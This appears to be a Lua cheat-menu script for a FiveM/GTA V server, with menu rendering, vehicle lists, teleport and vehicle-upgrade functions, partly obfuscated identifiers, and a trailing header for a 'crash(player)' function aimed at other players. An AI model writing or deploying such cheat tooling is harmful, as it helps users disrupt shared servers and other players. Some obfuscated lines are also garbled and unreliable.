"ArmyTanker", "ArmyTrailer", "ArmyTrailer2", "BaleTrailer", "BoatTrailer",
"CableCar", "DockTrailer", "Graintrailer", "Proptrailer", "Raketailer", "TR2",
"TR3", "TR4", "TRFlat", "TVTrailer", "Tanker", "Tanker2", "Trailerlogs",
"Trailersmall", "Trailers", "Trailers2", "Trailers3"
}
local aU = {
"Freight", "Freightcar", "Freightcont1", "Freightcont2", "Freightgrain",
"Freighttrailer", "TankerCar"
}
local aV = {
"Airtug", "Caddy", "Caddy2", "Caddy3", "Docktug", "Forklift", "Mower",
"Ripley", "Sadler", "Scrap", "TowTruck", "Towtruck2", "Tractor", "Tractor2",
"Tractor3", "TrailerLArge2", "Utilitruck", "Utilitruck3", "Utilitruck2"
}
local aW = {
"Bison", "Bison2", "Bison3", "BobcatXL", "Boxville", "Boxville2",
"Boxville3", "Boxville4", "Boxville5", "Burrito", "Burrito2", "Burrito3",
"Burrito4", "Burrito5", "Camper", "GBurrito", "GBurrito2", "Journey", "Minivan",
"Minivan2", "Paradise", "pony", "Pony2", "Rumpo", "Rumpo2", "Rumpo3", "Speedo",
"Speedo2", "Speedo4", "Surfer", "Surfer2", "Taco", "Youga", "youga2"
}
local aX = {
"Boats", "Commercial", "Compacts", "Coupes", "Cycles", "Emergency",
"Helictopers", "Industrial", "Military", "Motorcycles", "Muscle", "Off-Road",
"Planes", "SUVs", "Sedans", "Service", "Sports", "Sports Classic", "Super",
"Trailer", "Trains", "Utility", "Vans"
}
local aY = {
aA, aB, aC, aD, aE, aF, aG, aH, aI, aJ, aK, aL, aM, aN, aO, aP, aQ, aR, aS,
aT, aU, aV, aW
}

local slowmotion = 300968879189131264

function [Link](num, numDecimalPlaces)


return tonumber([Link]("%." .. (numDecimalPlaces or 0) .. "f", num))
end

local function RGBRainbow(frequency)


local result = {}
local curtime = GetGameTimer() / 1000

result.r = [Link]([Link](curtime * frequency + 0) * 127 + 128)


result.g = [Link]([Link](curtime * frequency + 2) * 127 + 128)
result.b = [Link]([Link](curtime * frequency + 4) * 127 + 128)

return result
end

local function debugPrint(text)


if [Link] then
[Link]('\n[Motion] '..tostring(text))
end
end

local function setMenuProperty(id, property, value)


if id and menus[id] then
menus[id][property] = value
--debugPrint(id..' menu property changed: { '..tostring(property)..',
'..tostring(value)..' }')
end
end

local function isMenuVisible(id)


if id and menus[id] then
return menus[id].visible
else
return false
end
end

local function setMenuVisible(id, visible, holdCurrent)


if id and menus[id] then
setMenuProperty(id, 'visible', visible)

if not holdCurrent and menus[id] then


setMenuProperty(id, 'currentOption', 1)
end

if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuVisible(currentMenu, false)
end

currentMenu = id
end
end
end

local function drawText(text, x, y, font, color, scale, center, shadow,


alignRight)
SetTextColour(color.r, color.g, color.b, color.a)
SetTextFont(font)
SetTextScale(scale, scale)

if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end

if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menus[currentMenu].width - buttonTextXOffset)
SetTextRightJustify(true)
end
end

[Link]("0x25FBB336DF1804CB", "STRING")
[Link]("0x6C188BE134E074AA", text)
[Link]("0xCD015E5BB0D96A57", x, y)
end

local function drawRect(x, y, width, height, color)


DrawRect(x, y, width, height, color.r, color.g, color.b, color.a)
end

local function drawTitle()


if menus[currentMenu] then
local x = menus[currentMenu].x + menus[currentMenu].width / 2
local y = menus[currentMenu].y + titleHeight / 2

if menus[currentMenu].titleBackgroundSprite then
DrawSprite(menus[currentMenu].[Link],
menus[currentMenu].[Link], x, y, menus[currentMenu].width,
titleHeight, 0., menus[currentMenu].spriteColor.r,
menus[currentMenu].spriteColor.g, menus[currentMenu].spriteColor.b,
menus[currentMenu].spriteColor.a)
else
drawRect(x, y, menus[currentMenu].width, titleHeight,
menus[currentMenu].titleBackgroundColor)
end
drawText(menus[currentMenu].title, x, y - titleHeight / 2 +
titleYOffset, menus[currentMenu].titleFont, menus[currentMenu].titleColor,
titleScale, true)
end
end

local function drawSubTitle()


if menus[currentMenu] then
local x = menus[currentMenu].x + menus[currentMenu].width / 2
local y = menus[currentMenu].y + titleHeight + buttonHeight / 2

local subTitleColor = { r = menus[currentMenu].titleBackgroundColor.r,


g = menus[currentMenu].titleBackgroundColor.g, b =
menus[currentMenu].titleBackgroundColor.b, a = 255 }

drawRect(x, y, menus[currentMenu].width, buttonHeight,


menus[currentMenu].subTitleBackgroundColor)
drawText(menus[currentMenu].subTitle, menus[currentMenu].x +
buttonTextXOffset, y - buttonHeight / 2 + buttonTextYOffset, buttonFont,
subTitleColor, buttonScale, false)

if optionCount > menus[currentMenu].maxOptionCount then


drawText(tostring(menus[currentMenu].currentOption)..' /
'..tostring(optionCount), menus[currentMenu].x + menus[currentMenu].width, y -
buttonHeight / 2 + buttonTextYOffset, buttonFont, subTitleColor, buttonScale,
false, false, true)
end
end
end

local function drawButton(text, subText)


local x = menus[currentMenu].x + menus[currentMenu].width / 2
local multiplier = nil

if menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount


and optionCount <= menus[currentMenu].maxOptionCount then
multiplier = optionCount
elseif optionCount > menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount and optionCount <=
menus[currentMenu].currentOption then
multiplier = optionCount - (menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount)
end

if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
(buttonHeight * multiplier) - buttonHeight / 2
local backgroundColor = nil
local textColor = nil
local subTextColor = nil
local shadow = false

if menus[currentMenu].currentOption == optionCount then


backgroundColor = menus[currentMenu].menuFocusBackgroundColor
textColor = menus[currentMenu].menuFocusTextColor
subTextColor = menus[currentMenu].menuFocusTextColor
else
backgroundColor = menus[currentMenu].menuBackgroundColor
textColor = menus[currentMenu].menuTextColor
subTextColor = menus[currentMenu].menuSubTextColor
shadow = true
end

drawRect(x, y, menus[currentMenu].width, buttonHeight, backgroundColor)


drawText(text, menus[currentMenu].x + buttonTextXOffset, y -
(buttonHeight / 2) + buttonTextYOffset, buttonFont, textColor, buttonScale, false,
shadow)

if subText then
drawText(subText, menus[currentMenu].x + buttonTextXOffset, y -
buttonHeight / 2 + buttonTextYOffset, buttonFont, subTextColor, buttonScale, false,
shadow, true)
end
end
end

function [Link](id, title)


-- Default settings

menus[id] = { }
menus[id].title = title
menus[id].subTitle = 'redMENU'

menus[id].visible = false

menus[id].previousMenu = nil

menus[id].aboutToBeClosed = false

menus[id].x = 0.75
menus[id].y = 0.1
menus[id].width = 0.23

menus[id].currentOption = 1
menus[id].maxOptionCount = 10

menus[id].titleFont = 1
menus[id].titleColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].titleBackgroundColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].titleBackgroundSprite = nil
menus[id].spriteColor = { r = 255, g = 0, b = 0, a = 255 }

menus[id].menuTextColor = { r = 255, g = 255, b = 255, a = 255 }


menus[id].menuSubTextColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].menuFocusTextColor = { r = 0, g = 0, b = 0, a = 255 }
menus[id].menuFocusBackgroundColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].menuBackgroundColor = { r = 30, g = 30, b = 30, a = 150 }

menus[id].subTitleBackgroundColor = { r = menus[id].menuBackgroundColor.r,
g = menus[id].menuBackgroundColor.g, b = menus[id].menuBackgroundColor.b, a = 255 }

menus[id].buttonPressedSound = { name = "SELECT", set =


"HUD_FRONTEND_DEFAULT_SOUNDSET" } --[Link]
--debugPrint(tostring(id)..' menu created')
end

function [Link](id, parent, subTitle)


if menus[parent] then
[Link](id, menus[parent].title)

if subTitle then
setMenuProperty(id, 'subTitle', [Link](subTitle))
else
setMenuProperty(id, 'subTitle',
[Link](menus[parent].subTitle))
end

setMenuProperty(id, 'previousMenu', parent)

setMenuProperty(id, 'x', menus[parent].x)


setMenuProperty(id, 'y', menus[parent].y)
setMenuProperty(id, 'maxOptionCount', menus[parent].maxOptionCount)
setMenuProperty(id, 'titleFont', menus[parent].titleFont)
setMenuProperty(id, 'titleColor', menus[parent].titleColor)
setMenuProperty(id, 'titleBackgroundColor',
menus[parent].titleBackgroundColor)
setMenuProperty(id, 'titleBackgroundSprite',
menus[parent].titleBackgroundSprite)
setMenuProperty(id, 'menuTextColor', menus[parent].menuTextColor)
setMenuProperty(id, 'menuSubTextColor', menus[parent].menuSubTextColor)
setMenuProperty(id, 'menuFocusTextColor',
menus[parent].menuFocusTextColor)
setMenuProperty(id, 'menuFocusBackgroundColor',
menus[parent].menuFocusBackgroundColor)
setMenuProperty(id, 'menuBackgroundColor',
menus[parent].menuBackgroundColor)
setMenuProperty(id, 'subTitleBackgroundColor',
menus[parent].subTitleBackgroundColor)
else
debugPrint('Failed to create '..tostring(id)..' submenu:
'..tostring(parent)..' parent menu doesn\'t exist')
end
end

function [Link]()
return currentMenu
end

function [Link](id)
if id and menus[id] then
PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(id, true)
debugPrint(tostring(id)..' menu opened')
else
debugPrint('Failed to open '..tostring(id)..' menu: it doesn\'t exist')
end
end

function [Link](id)
return isMenuVisible(id)
end

function [Link]()
for id, _ in pairs(menus) do
if isMenuVisible(id) then return true end
end

return false
end

function [Link]()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return false
end
end

function [Link]()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = false
setMenuVisible(currentMenu, false)
debugPrint(tostring(currentMenu)..' menu closed')
PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
optionCount = 0
currentMenu = nil
currentKey = nil
else
menus[currentMenu].aboutToBeClosed = true
debugPrint(tostring(currentMenu)..' menu about to be closed')
end
end
end

function [Link](text, subText)


local buttonText = text
if subText then
buttonText = '{ '..tostring(buttonText)..', '..tostring(subText)..' }'
end

if menus[currentMenu] then
optionCount = optionCount + 1

local isCurrent = menus[currentMenu].currentOption == optionCount

drawButton(text, subText)

if isCurrent then
if currentKey == [Link] then
PlaySoundFrontend(-1,
menus[currentMenu].[Link],
menus[currentMenu].[Link], true)
debugPrint(buttonText..' button pressed')
return true
elseif currentKey == [Link] or currentKey == [Link] then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end

return false
else
debugPrint('Failed to create '..buttonText..' button:
'..tostring(currentMenu)..' menu doesn\'t exist')

return false
end
end

function [Link](text, id)


if menus[id] then
if [Link](text) then
setMenuVisible(currentMenu, false)
setMenuVisible(id, true, true)

return true
end
else
debugPrint('Failed to create '..tostring(text)..' menu button:
'..tostring(id)..' submenu doesn\'t exist')
end

return false
end

function [Link](text, checked, callback)


if [Link](text, checked and '~h~~w~On' or "~h~~c~Off") then
checked = not checked
debugPrint(tostring(text)..' checkbox changed to '..tostring(checked))
if callback then callback(checked) end

return true
end

return false
end

function [Link](text, items, currentIndex, selectedIndex, callback)


local itemsCount = #items
local selectedItem = items[currentIndex]
local isCurrent = menus[currentMenu].currentOption == (optionCount + 1)

if itemsCount > 1 and isCurrent then


selectedItem = '← '..tostring(selectedItem)..' →'
end

if [Link](text, selectedItem) then


selectedIndex = currentIndex
callback(currentIndex, selectedIndex)
return true
elseif isCurrent then
if currentKey == [Link] then
if currentIndex > 1 then currentIndex = currentIndex - 1 else
currentIndex = itemsCount end
elseif currentKey == [Link] then
if currentIndex < itemsCount then currentIndex = currentIndex + 1
else currentIndex = 1 end
end
else
currentIndex = selectedIndex
end

callback(currentIndex, selectedIndex)
return false
end

function [Link]()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
[Link]()
else
ClearAllHelpMessages()

drawTitle()
drawSubTitle()

currentKey = nil

if IsControlJustReleased(1, [Link]) then


PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)

if menus[currentMenu].currentOption < optionCount then


menus[currentMenu].currentOption =
menus[currentMenu].currentOption + 1
else
menus[currentMenu].currentOption = 1
end
elseif IsControlJustReleased(1, [Link]) then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)

if menus[currentMenu].currentOption > 1 then


menus[currentMenu].currentOption =
menus[currentMenu].currentOption - 1
else
menus[currentMenu].currentOption = optionCount
end
elseif IsControlJustReleased(1, [Link]) then
currentKey = [Link]
elseif IsControlJustReleased(1, [Link]) then
currentKey = [Link]
elseif IsControlJustReleased(1, [Link]) then
currentKey = [Link]
elseif IsControlJustReleased(1, [Link]) then
if menus[menus[currentMenu].previousMenu] then
PlaySoundFrontend(-1, "BACK",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(menus[currentMenu].previousMenu, true)
else
[Link]()
end
end

optionCount = 0
end
end
end

function [Link](id, width)


setMenuProperty(id, 'width', width)
end

function [Link](id, x)
setMenuProperty(id, 'x', x)
end

function [Link](id, y)
setMenuProperty(id, 'y', y)
end

function [Link](id, count)


setMenuProperty(id, 'maxOptionCount', count)
end

function [Link](id, title)


setMenuProperty(id, 'title', title)
end

function [Link](id, r, g, b, a)
setMenuProperty(id, 'titleColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].titleColor.a })
end

function [Link](id, r, g, b, a)
setMenuProperty(id, 'titleBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] =
b, ['a'] = a or menus[id].titleBackgroundColor.a })
end

function [Link](id, textureDict, textureName)


RequestStreamedTextureDict(textureDict)
setMenuProperty(id, 'titleBackgroundSprite', { dict = textureDict, name =
textureName })
end

function [Link](id, r, g, b, a)
setMenuProperty(id, 'spriteColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].menuBackgroundColor.a })
end

function [Link](id, text)


setMenuProperty(id, 'subTitle', [Link](text))
end

function [Link](id, r, g, b, a)
setMenuProperty(id, 'menuBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] =
b, ['a'] = a or menus[id].menuBackgroundColor.a })
end

function [Link](id, r, g, b, a)
setMenuProperty(id, 'menuTextColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuTextColor.a })
end

function [Link](id, r, g, b, a)
setMenuProperty(id, 'menuSubTextColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuSubTextColor.a })
end

function [Link](id, r, g, b, a)
setMenuProperty(id, 'menuFocusColor', { ['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuFocusColor.a })
end

function [Link](id, name, set)


setMenuProperty(id, 'buttonPressedSound', { ['name'] = name, ['set'] =
set })
end

function drawNotification(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(false, false)
end

function getEntity(player)
local result, entity = GetEntityPlayerIsFreeAimingAt(player,
[Link]())
return entity
end

local function drawOnscreenText(text, x, y)


SetTextFont(0)
SetTextProportional(1)
SetTextScale(0.0,0.4)
SetTextDropshadow(1,0,0,0,255)
SetTextEdge(1,0,0,0,255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
AddTextComponentString(text)
DrawText(x,y)
end
local function bk()
local ab=KeyboardInput("Enter Blip Name","",100)
if ab==""then
drawNotification("~r~Invalid Blip Name!")
return bk()
else
local bh=KeyboardInput("Enter X pos","",100)
local bi=KeyboardInput("Enter Y pos","",100)
local bj=KeyboardInput("Enter Z pos","",100)
if bh~=""and bi~=""and bj~=""then
local bl={{colour=75,model=84}}
for _,bm in pairs(bl)do
[Link]
GCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR=AddBlipForCoord(bh+0.5,bi+0.5,bj+0.5)

SetBlipSprite([Link]
jPNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,[Link])SetBlipDisplay(
[Link]
GCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,4)

SetBlipScale([Link]
PNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,0.9)SetBlipColour([Link]
qJZiWyFdNeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFXGCTmlPo
ZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR,[Link])SetBlipAsShortRange([Link]
NeBgfuiZaIbPXdAFuujnOquyqWRrqLUeXxcCCFyGgmYIdeyeMEiDCVjPNWXDeepkALFXGCTmlPoZisdmRdL
GjYmbaYeqBeiiNLgUBSeHNxIfMbkR,true)BeginTextCommandSetBlipName("STRING")
AddTextComponentString(ab)

EndTextCommandSetBlipName([Link]
YIdeyeMEiDCVjPNWXDeepkALFXGCTmlPoZisdmRdLGjYmbaYeqBeiiNLgUBSeHNxIfMbkR)end
else
drawNotification("~r~Invalid coords!")
end
end
end

function Initialize(scaleform, message)


local scaleform = RequestScaleformMovie(scaleform)
while not HasScaleformMovieLoaded(scaleform) do
[Link](1)
end
PushScaleformMovieFunction(scaleform, "SHOW_SHARD_WASTED_MP_MESSAGE")
PushScaleformMovieFunctionParameterString(message)
PopScaleformMovieFunctionVoid()
return scaleform
end

function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false),
5)
end

function MaxOutPerf(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
end

local function DrawTxt(text, x, y)


SetTextFont(0)
SetTextProportional(1)
SetTextScale(0.0, 0.4)
SetTextDropshadow(1, 0, 0, 0, 255)
SetTextEdge(1, 0, 0, 0, 255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
AddTextComponentString(text)
DrawText(x, y)
end

function ch(C,x,y)
SetTextFont(0)
SetTextProportional(1)
SetTextScale(0.0,0.4)
SetTextDropshadow(1,0,0,0,255)
SetTextEdge(1,0,0,0,255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
AddTextComponentString(C)
DrawText(x,y)
end

local function getPlayerIds()


local players = {}
for i = -1, 128 do
if NetworkIsPlayerActive(i) then
players[#players + 1] = i
end
end
return players
end

local function DrawText3D(x, y, z, text, r, g, b)


SetDrawOrigin(x, y, z, 0)
SetTextFont(0)
SetTextProportional(0)
SetTextScale(0.0, 0.20)
SetTextColour(r, g, b, 255)
SetTextDropshadow(0, 0, 0, 0, 255)
SetTextEdge(2, 0, 0, 0, 150)
SetTextDropShadow()
SetTextOutline()
SetTextEntry("STRING")
SetTextCentre(1)
AddTextComponentString(text)
DrawText(0.0, 0.0)
ClearDrawOrigin()
end

local function checkValidVehicleExtras()


local aq = PlayerPedId()
local ar = GetVehiclePedIsIn(aq, false)
local as = {}
for i = 0, 50, 1 do
if DoesExtraExist(ar, i) then local at = "Extra #"..tostring(i) local C
= "OFF"
if IsVehicleExtraTurnedOn(ar, i) then C = "ON"
end;
local au = "extra "..tostring(i) [Link](as, {
menuName = realModName, data = {
["action"] = realSpawnName, ["state"] = C
}
}) end end;
return as end;

function DoesVehicleHaveExtras(veh) for i = 1, 30 do


if DoesExtraExist(veh, i) then
return true end end;
return false end;

function checkValidVehicleMods(av) local aq = PlayerPedId() local ar =


GetVehiclePedIsIn(aq, false) local as = {}
local aw = GetNumVehicleMods(ar, av) if av == 48 and aw == 0 then local aw
= GetVehicleLiveryCount(ar) for i = 1, aw, 1 do local ax = i - 1;
local ay = GetLiveryName(ar, ax) local realModName = GetLabelText(ay)
local az, realSpawnName = av, ax;
as[i] = {
menuName = realModName, data = {
["modid"] = az, ["realIndex"] = realSpawnName
}
}
end end;
for i = 1, aw, 1 do local ax = i - 1;
local ay = GetModTextLabel(ar, av, ax) local realModName =
GetLabelText(ay) local az, realSpawnName = aw, ax;
as[i] = {
menuName = realModName, data = {
["modid"] = az, ["realIndex"] = realSpawnName
}
}
end;
if aw > 0 then local ax = -1;
local az, realSpawnName = av, ax;
[Link](as, 1, {
menuName = "Stock", data = {
["modid"] = az, ["realIndex"] = realSpawnName
}
}) end;
return as end;
function KeyboardInput(TextEntry, ExampleText, MaxStringLength)
AddTextEntry("FMMC_KEY_TIP1", TextEntry .. ":")
DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP1", "", ExampleText, "", "", "",
MaxStringLength)
blockinput = true

while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do


[Link](0)
end

if UpdateOnscreenKeyboard() ~= 2 then
local result = GetOnscreenKeyboardResult()
[Link](500)
blockinput = false
return result
else
[Link](500)
blockinput = false
return nil
end
end

function DelVeh(veh)
SetEntityAsMissionEntity(veh, 1, 1)
DeleteEntity(veh)
end

function GetInputMode()
return [Link](0xA571D46727E2B718, 2) and "MouseAndKeyboard"
or "GamePad"
end

function TeleportToCoords()
local x = KeyboardInput("Enter X Pos", "", 100)
local y = KeyboardInput("Enter Y Pos", "", 100)
local z = KeyboardInput("Enter Z Pos", "", 100)
local entity
if x ~= "" and y ~= "" and z ~= "" then
if IsPedInAnyVehicle(GetPlayerPed(-1),0) and
GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1),0),-1)==GetPlayerPed(-1)
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1),0)
else
entity = PlayerPedId()
end
if entity then
SetEntityCoords(entity, x + 0.5, y + 0.5, z + 0.5, 1,0,0,1)
end
else
drawNotification("~g~Invalid Coords!")
end
end

function TeleportToWaypoint()
if DoesBlipExist(GetFirstBlipInfoId(8)) then
local blipIterator = GetBlipInfoIdIterator(8)
local blip = GetFirstBlipInfoId(8, blipIterator)
WaypointCoords = [Link](0xFA7C7F0AADF25D09, blip,
[Link]()) --Thanks To Briglair [[Link]]
wp = true

local zHeigt = 0.0


height = 1000.0
while true do
[Link](0)
if wp then
if
IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
(GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-
1), 0), -1) == GetPlayerPed(-1))
then
entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
else
entity = GetPlayerPed(-1)
end

SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y,


height)
FreezeEntityPosition(entity, true)
local Pos = GetEntityCoords(entity, true)

if zHeigt == 0.0 then


height = height - 25.0
SetEntityCoords(entity, Pos.x, Pos.y, height)
bool, zHeigt = GetGroundZFor_3dCoord(Pos.x, Pos.y, Pos.z,
0)
else
SetEntityCoords(entity, Pos.x, Pos.y, zHeigt)
FreezeEntityPosition(entity, false)
wp = false
height = 1000.0
zHeigt = 0.0
drawNotification("~g~Teleported to waypoint!")
break
end
end
end
else
drawNotification("~r~No waypoint!")
end
end

function RequestModelSync(bp)
local bq=GetHashKey(bp)RequestModel(bq)
while not HasModelLoaded(bq)do
RequestModel(bq)
[Link](0)
end
end

local function crash(player)


